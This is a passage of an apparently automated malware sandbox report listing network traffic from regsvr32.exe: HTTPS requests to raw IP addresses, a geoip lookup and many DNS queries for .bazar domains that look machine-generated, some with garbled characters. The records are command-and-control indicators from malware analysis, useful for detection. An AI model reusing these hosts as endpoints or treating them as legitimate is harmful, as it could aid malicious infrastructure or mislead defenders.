        X-Tag: XlJdP345%2F7Db8i6TMquFV9T1tWxzJLiRvR%2BXv3FwfFs7HuEw98Q8t954JBW6lm5oUn0dmDCeGQuCXylmDTNyg7tAgagLI3JxmGayy%2BCMS6B90qhb3YYp9zu4Dpw3yUMyMs5rRnHjJbxXBS%2FZhay8S31hqXhMcO1ND8G4gEs2298NmT8v8%2B3GfTsSw%2BEV81X4VqJo6fWjekK7mWZI9lW3ASSNgzRAc7xMfhNwJe%2B5WDsqglQk9sTtE1AXmelx6rzlo5Gh1oIts3Y7Pj54vD7N5FcnUjnqiEo1BBmiI174gfKW5jn8eSZMouH%2F%2BEpLHmuYeKpPS49XhkqJp0rf63pK6gfg6qANdLJ6DYAeTReQOVATtGinmB3lVk%2F%2FVfxEOe3%2BcmNGb%2BrWBhNAEFWQ05R4PIyqWUiFLK3zj%2BD%2FdtYQT0kX7Nsb%2FwGUF%2B90V%2B0xEFVdRpZeHaGupswPCdLXnnaUGOJkx%2BTxf%2F16s1h4wHfO
        Host: 64.227.73.80
        Response
        HTTP/1.1 502 Bad Gateway
        Server: nginx/1.18.0 (Ubuntu)
        Date: Wed, 04 Aug 2021 16:08:08 GMT
        Content-Type: text/html
        Content-Length: 166
        Connection: keep-alive
      • flag-unknown
        DNS
        api.opennicproject.org
        regsvr32.exe
        Remote address:
        8.8.8.8:53
        Request
        api.opennicproject.org
        IN A
        Response
        api.opennicproject.org
        IN CNAME
        api.opennic.org
        api.opennic.org
        IN A
        116.203.98.109
      • flag-unknown
        GET
        https://api.opennicproject.org/geoip/?bare&ipv=4&wl=all&res=8
        regsvr32.exe
        Remote address:
        116.203.98.109:443
        Request
        GET /geoip/?bare&ipv=4&wl=all&res=8 HTTP/1.1
        Host: api.opennicproject.org
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Date: Wed, 04 Aug 2021 16:08:08 GMT
        Content-Type: text/plain;charset=UTF-8
        Content-Length: 113
        Connection: keep-alive
        Vary: Accept-Encoding
        Allow: GET, HEAD
        X-Upstream-Cache-Status: HIT
        X-Cache-Key: geoip 154.61.71.51 bare&ipv=4&wl=all&res=8
      • flag-unknown
        DNS
        x1.c.lencr.org
        regsvr32.exe
        Remote address:
        8.8.8.8:53
        Request
        x1.c.lencr.org
        IN A
        Response
        x1.c.lencr.org
        IN CNAME
        crl.root-x1.letsencrypt.org.edgekey.net
        crl.root-x1.letsencrypt.org.edgekey.net
        IN CNAME
        e8652.dscx.akamaiedge.net
        e8652.dscx.akamaiedge.net
        IN A
        104.73.131.204
      • flag-unknown
        GET
        http://x1.c.lencr.org/
        regsvr32.exe
        Remote address:
        104.73.131.204:80
        Request
        GET / HTTP/1.1
        Connection: Keep-Alive
        Accept: */*
        User-Agent: Microsoft-CryptoAPI/6.1
        Host: x1.c.lencr.org
        Response
        HTTP/1.1 200 OK
        Server: nginx
        Content-Type: application/pkix-crl
        Last-Modified: Mon, 26 Jul 2021 16:20:55 GMT
        ETag: "60fee0e7-2cd"
        Cache-Control: max-age=3600
        Expires: Wed, 04 Aug 2021 17:08:08 GMT
        Date: Wed, 04 Aug 2021 16:08:08 GMT
        Content-Length: 717
        Connection: keep-alive
      • flag-unknown
        DNS
        whitestorm9p.bazar
        regsvr32.exe
        Remote address:
        95.217.190.236:53
        Request
        whitestorm9p.bazar
        IN A
      • flag-unknown
        DNS
        whitestorm9p.bazar
        regsvr32.exe
        Remote address:
        95.217.190.236:53
        Request
        whitestorm9p.bazar
        IN A
      • flag-unknown
        DNS
        whitestorm9p.bazar
        regsvr32.exe
        Remote address:
        95.217.190.236:53
        Request
        whitestorm9p.bazar
        IN A
      • flag-unknown
        DNS
        whitestorm9p.bazar
        regsvr32.exe
        Remote address:
        95.217.190.236:53
        Request
        whitestorm9p.bazar
        IN A
      • flag-unknown
        DNS
        whitestorm9p.bazar
        regsvr32.exe
        Remote address:
        95.217.190.236:53
        Request
        whitestorm9p.bazar
        IN A
      • flag-unknown
        DNS
        microsoft.com
        Remote address:
        8.8.8.8:53
        Request
        microsoft.com
        IN A
        Response
        microsoft.com
        IN A
        104.215.148.63
        microsoft.com
        IN A
        40.76.4.15
        microsoft.com
        IN A
        40.112.72.205
        microsoft.com
        IN A
        40.113.200.201
        microsoft.com
        IN A
        13.77.161.179
      • flag-unknown
        DNS
        whitestorm9p.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        whitestorm9p.bazar
        IN A
        Response
      • flag-unknown
        DNS
        whitestorm9p.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        whitestorm9p.bazar
        IN A
      • flag-unknown
        DNS
        bluecloud21c.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        bluecloud21c.bazar
        IN A
        Response
      • flag-unknown
        DNS
        bluecloud21c.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        bluecloud21c.bazar
        IN A
      • flag-unknown
        DNS
        bluecloud21c.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        bluecloud21c.bazar
        IN A
      • flag-unknown
        DNS
        bluecloud21c.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        bluecloud21c.bazar
        IN A
      • flag-unknown
        DNS
        yellowdownpour81.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yellowdownpour81.bazar
        IN A
        Response
      • flag-unknown
        DNS
        yellowdownpour81.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yellowdownpour81.bazar
        IN A
      • flag-unknown
        DNS
        yellowdownpour81.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yellowdownpour81.bazar
        IN A
      • flag-unknown
        DNS
        wa¥ˆavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wa¥ˆavvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        wa¥ˆavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wa¥ˆavvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        wa¥ˆavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wa¥ˆavvi.bazar
        IN A
      • flag-unknown
        DNS
        soGVmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        soGVmyvi.bazar
        IN A
      • flag-unknown
        DNS
        soGVmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        soGVmyvi.bazar
        IN A
      • flag-unknown
        DNS
        soGVmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        soGVmyvi.bazar
        IN A
      • flag-unknown
        DNS
        yzlkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yzlkeir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        yzlkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yzlkeir.bazar
        IN A
      • flag-unknown
        DNS
        yzlkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yzlkeir.bazar
        IN A
      • flag-unknown
        DNS
        yzlkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yzlkeir.bazar
        IN A
      • flag-unknown
        DNS
        toðámyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        toðámyvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        toðámyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        toðámyvi.bazar
        IN A
      • flag-unknown
        DNS
        ew8œwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ew8œwyir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        ew8œwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ew8œwyir.bazar
        IN A
      • flag-unknown
        DNS
        ew8œwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ew8œwyir.bazar
        IN A
      • flag-unknown
        DNS
        ew8œwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ew8œwyir.bazar
        IN A
      • flag-unknown
        DNS
        do’¾kevi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        do’¾kevi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        do’¾kevi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        do’¾kevi.bazar
        IN A
      • flag-unknown
        DNS
        do’¾kevi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        do’¾kevi.bazar
        IN A
      • flag-unknown
        DNS
        ewîçavir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ewîçavir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        ewîçavir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ewîçavir.bazar
        IN A
      • flag-unknown
        DNS
        ewîçavir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ewîçavir.bazar
        IN A
      • flag-unknown
        DNS
        wyáðkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyáðkeyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        wyáðkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyáðkeyw.bazar
        IN A
      • flag-unknown
        DNS
        wyáðkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyáðkeyw.bazar
        IN A
      • flag-unknown
        DNS
        wyáðkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyáðkeyw.bazar
        IN A
      • flag-unknown
        DNS
        myg‡avyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        myg‡avyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        myg‡avyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        myg‡avyw.bazar
        IN A
      • flag-unknown
        DNS
        myg‡avyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        myg‡avyw.bazar
        IN A
      • flag-unknown
        DNS
        vi¥ˆavir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vi¥ˆavir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        vi¥ˆavir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vi¥ˆavir.bazar
        IN A
      • flag-unknown
        DNS
        vi¥ˆavir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vi¥ˆavir.bazar
        IN A
      • flag-unknown
        DNS
        vi¥ˆavir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vi¥ˆavir.bazar
        IN A
      • flag-unknown
        DNS
        walmyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        walmyyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        walmyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        walmyyw.bazar
        IN A
      • flag-unknown
        DNS
        omðámyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        omðámyir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        omðámyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        omðámyir.bazar
        IN A
      • flag-unknown
        DNS
        omðámyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        omðámyir.bazar
        IN A
      • flag-unknown
        DNS
        omðámyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        omðámyir.bazar
        IN A
      • flag-unknown
        DNS
        to8œkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        to8œkeyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        to8œkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        to8œkeyw.bazar
        IN A
      • flag-unknown
        DNS
        to8œkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        to8œkeyw.bazar
        IN A
      • flag-unknown
        DNS
        ir’¾keir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ir’¾keir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        ir’¾keir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ir’¾keir.bazar
        IN A
      • flag-unknown
        DNS
        ir’¾keir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ir’¾keir.bazar
        IN A
      • flag-unknown
        DNS
        toîçwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        toîçwyyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        toîçwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        toîçwyyw.bazar
        IN A
      • flag-unknown
        DNS
        toîçwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        toîçwyyw.bazar
        IN A
      • flag-unknown
        DNS
        toîçwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        toîçwyyw.bazar
        IN A
      • flag-unknown
        DNS
        caáðkeom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        caáðkeom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        caáðkeom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        caáðkeom.bazar
        IN A
      • flag-unknown
        DNS
        keGVmyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        keGVmyir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        keGVmyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        keGVmyir.bazar
        IN A
      • flag-unknown
        DNS
        keGVmyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        keGVmyir.bazar
        IN A
      • flag-unknown
        DNS
        keGVmyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        keGVmyir.bazar
        IN A
      • flag-unknown
        DNS
        ywg‡avom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ywg‡avom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        ywg‡avom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ywg‡avom.bazar
        IN A
      • flag-unknown
        DNS
        ywg‡avom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ywg‡avom.bazar
        IN A
      • flag-unknown
        DNS
        so¥ˆwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        so¥ˆwyyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        so¥ˆwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        so¥ˆwyyw.bazar
        IN A
      • flag-unknown
        DNS
        so¥ˆwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        so¥ˆwyyw.bazar
        IN A
      • flag-unknown
        DNS
        vilmyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vilmyom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        vilmyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vilmyom.bazar
        IN A
      • flag-unknown
        DNS
        vilmyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vilmyom.bazar
        IN A
      • flag-unknown
        DNS
        vilmyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vilmyom.bazar
        IN A
      • flag-unknown
        DNS
        loðáavyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        loðáavyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        loðáavyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        loðáavyw.bazar
        IN A
      • flag-unknown
        DNS
        loðáavyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        loðáavyw.bazar
        IN A
      • flag-unknown
        DNS
        om8œkeom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        om8œkeom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        om8œkeom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        om8œkeom.bazar
        IN A
      • flag-unknown
        DNS
        om8œkeom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        om8œkeom.bazar
        IN A
      • flag-unknown
        DNS
        yz’¾myvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yz’¾myvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        yz’¾myvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yz’¾myvi.bazar
        IN A
      • flag-unknown
        DNS
        yz’¾myvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yz’¾myvi.bazar
        IN A
      • flag-unknown
        DNS
        yz’¾myvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yz’¾myvi.bazar
        IN A
      • flag-unknown
        DNS
        omîçwyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        omîçwyom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        omîçwyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        omîçwyom.bazar
        IN A
      • flag-unknown
        DNS
        doáðkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        doáðkeir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        doáðkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        doáðkeir.bazar
        IN A
      • flag-unknown
        DNS
        doáðkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        doáðkeir.bazar
        IN A
      • flag-unknown
        DNS
        doáðkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        doáðkeir.bazar
        IN A
      • flag-unknown
        DNS
        reGVavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        reGVavvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        reGVavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        reGVavvi.bazar
        IN A
      • flag-unknown
        DNS
        reGVavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        reGVavvi.bazar
        IN A
      • flag-unknown
        DNS
        yrg‡avir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yrg‡avir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        yrg‡avir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yrg‡avir.bazar
        IN A
      • flag-unknown
        DNS
        yrg‡avir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        yrg‡avir.bazar
        IN A
      • flag-unknown
        DNS
        ke¥ˆwyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ke¥ˆwyom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        ke¥ˆwyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ke¥ˆwyom.bazar
        IN A
      • flag-unknown
        DNS
        ke¥ˆwyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ke¥ˆwyom.bazar
        IN A
      • flag-unknown
        DNS
        ke¥ˆwyom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ke¥ˆwyom.bazar
        IN A
      • flag-unknown
        DNS
        solmyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        solmyir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        solmyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        solmyir.bazar
        IN A
      • flag-unknown
        DNS
        solmyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        solmyir.bazar
        IN A
      • flag-unknown
        DNS
        myðáavom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        myðáavom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        myðáavom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        myðáavom.bazar
        IN A
      • flag-unknown
        DNS
        myðáavom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        myðáavom.bazar
        IN A
      • flag-unknown
        DNS
        lo8œkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        lo8œkeir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        lo8œkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        lo8œkeir.bazar
        IN A
      • flag-unknown
        DNS
        lo8œkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        lo8œkeir.bazar
        IN A
      • flag-unknown
        DNS
        lo8œkeir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        lo8œkeir.bazar
        IN A
      • flag-unknown
        DNS
        wa’¾myom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wa’¾myom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        wa’¾myom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wa’¾myom.bazar
        IN A
      • flag-unknown
        DNS
        loîçwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        loîçwyir.bazar
        IN A
        Response
      • flag-unknown
        DNS
        loîçwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        loîçwyir.bazar
        IN A
      • flag-unknown
        DNS
        loîçwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        loîçwyir.bazar
        IN A
      • flag-unknown
        DNS
        loîçwyir.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        loîçwyir.bazar
        IN A
      • flag-unknown
        DNS
        iráðmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        iráðmyvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        iráðmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        iráðmyvi.bazar
        IN A
      • flag-unknown
        DNS
        iráðmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        iráðmyvi.bazar
        IN A
      • flag-unknown
        DNS
        noGVavom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        noGVavom.bazar
        IN A
        Response
      • flag-unknown
        DNS
        noGVavom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        noGVavom.bazar
        IN A
      • flag-unknown
        DNS
        noGVavom.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        noGVavom.bazar
        IN A
      • flag-unknown
        DNS
        wyg‡wyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyg‡wyvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        wyg‡wyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyg‡wyvi.bazar
        IN A
      • flag-unknown
        DNS
        wyg‡wyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyg‡wyvi.bazar
        IN A
      • flag-unknown
        DNS
        wyg‡wyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        wyg‡wyvi.bazar
        IN A
      • flag-unknown
        DNS
        re¥ˆkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        re¥ˆkeyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        re¥ˆkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        re¥ˆkeyw.bazar
        IN A
      • flag-unknown
        DNS
        re¥ˆkeyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        re¥ˆkeyw.bazar
        IN A
      • flag-unknown
        DNS
        kelavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        kelavvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        kelavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        kelavvi.bazar
        IN A
      • flag-unknown
        DNS
        kelavvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        kelavvi.bazar
        IN A
      • flag-unknown
        DNS
        ywðáwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ywðáwyyw.bazar
        IN A
        Response
      • flag-unknown
        DNS
        ywðáwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ywðáwyyw.bazar
        IN A
      • flag-unknown
        DNS
        ywðáwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ywðáwyyw.bazar
        IN A
      • flag-unknown
        DNS
        ywðáwyyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        ywðáwyyw.bazar
        IN A
      • flag-unknown
        DNS
        my8œmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        my8œmyvi.bazar
        IN A
        Response
      • flag-unknown
        DNS
        my8œmyvi.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        my8œmyvi.bazar
        IN A
      • flag-unknown
        DNS
        vi’¾avyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vi’¾avyw.bazar
        IN A
      • flag-unknown
        DNS
        vi’¾avyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vi’¾avyw.bazar
        IN A
      • flag-unknown
        DNS
        vi’¾avyw.bazar
        regsvr32.exe
        Remote address:
        159.89.120.99:53
        Request
        vi’¾avyw.bazar
        IN A
      • 64.227.77.160:443
        https://64.227.77.160/out/gen/text/plain
        tls, http
        regsvr32.exe
        4.6kB
         3.0kB
         13
        13

        HTTP Request

        GET https://64.227.77.160/out/gen/text/plain

        HTTP Response

        502
      • 64.227.77.21:443
        https://64.227.77.21/out/gen/text/plain
        tls, http
        regsvr32.exe
        4.6kB
         2.8kB
         12
        12

        HTTP Request

        GET https://64.227.77.21/out/gen/text/plain

        HTTP Response

        502
      • 64.227.73.32:443
        https://64.227.73.32/out/gen/text/plain
        tls, http
        regsvr32.exe
        4.6kB
         2.9kB
         12
        13

        HTTP Request

        GET https://64.227.73.32/out/gen/text/plain

        HTTP Response

        502
      • 64.227.73.80:443
        https://64.227.73.80/out/gen/text/plain
        tls, http
        regsvr32.exe
        4.6kB
         2.9kB
         12
        13

        HTTP Request

        GET https://64.227.73.80/out/gen/text/plain

        HTTP Response

        502
      • 116.203.98.109:443
        https://api.opennicproject.org/geoip/?bare&ipv=4&wl=all&res=8
        tls, http
        regsvr32.exe
        1.2kB
         5.8kB
         12
        12

        HTTP Request

        GET https://api.opennicproject.org/geoip/?bare&ipv=4&wl=all&res=8

        HTTP Response

        200
      • 104.73.131.204:80
        http://x1.c.lencr.org/
        http
        regsvr32.exe
        350 B
         2.2kB
         5
        4

        HTTP Request

        GET http://x1.c.lencr.org/

        HTTP Response

        200
      • 104.215.148.63:443
        microsoft.com
        tls
        347 B
         219 B
         5
        5
      • 104.215.148.63:443
        microsoft.com
        tls
        288 B
         219 B
         5
        5
      • 8.8.8.8:53
        api.opennicproject.org
        dns
        regsvr32.exe
        68 B
         110 B
         1
        1

        DNS Request

        api.opennicproject.org

        DNS Response

        116.203.98.109

      • 8.8.8.8:53
        x1.c.lencr.org
        dns
        regsvr32.exe
        60 B
         165 B
         1
        1

        DNS Request

        x1.c.lencr.org

        DNS Response

        104.73.131.204

      • 95.217.190.236:53
        whitestorm9p.bazar
        dns
        regsvr32.exe
        320 B
         5

        DNS Request

        whitestorm9p.bazar

        DNS Request

        whitestorm9p.bazar

        DNS Request

        whitestorm9p.bazar

        DNS Request

        whitestorm9p.bazar

        DNS Request

        whitestorm9p.bazar

      • 8.8.8.8:53
        microsoft.com
        dns
        59 B
         139 B
         1
        1

        DNS Request

        microsoft.com

        DNS Response

        104.215.148.63
        40.76.4.15
        40.112.72.205
        40.113.200.201
        13.77.161.179

      • 159.89.120.99:53
        whitestorm9p.bazar
        dns
        regsvr32.exe
        128 B
         64 B
         2
        1

        DNS Request

        whitestorm9p.bazar

        DNS Request

        whitestorm9p.bazar

      • 159.89.120.99:53
        bluecloud21c.bazar
        dns
        regsvr32.exe
        256 B
         64 B
         4
        1

        DNS Request

        bluecloud21c.bazar

        DNS Request

        bluecloud21c.bazar

        DNS Request

        bluecloud21c.bazar

        DNS Request

        bluecloud21c.bazar

      • 159.89.120.99:53
        yellowdownpour81.bazar
        dns
        regsvr32.exe
        204 B
         68 B
         3
        1

        DNS Request

        yellowdownpour81.bazar

        DNS Request

        yellowdownpour81.bazar

        DNS Request

        yellowdownpour81.bazar

      • 159.89.120.99:53
        wa¥ˆavvi.bazar
        dns
        regsvr32.exe
        366 B
         122 B
         6
        2

        DNS Request

        wa¥ˆavvi.bazar

        DNS Request

        wa¥ˆavvi.bazar

        DNS Request

        wa¥ˆavvi.bazar

        DNS Request

        soGVmyvi.bazar

        DNS Request

        soGVmyvi.bazar

        DNS Request

        soGVmyvi.bazar

      • 159.89.120.99:53
        yzlkeir.bazar
        dns
        regsvr32.exe
        244 B
         61 B
         4
        1

        DNS Request

        yzlkeir.bazar

        DNS Request

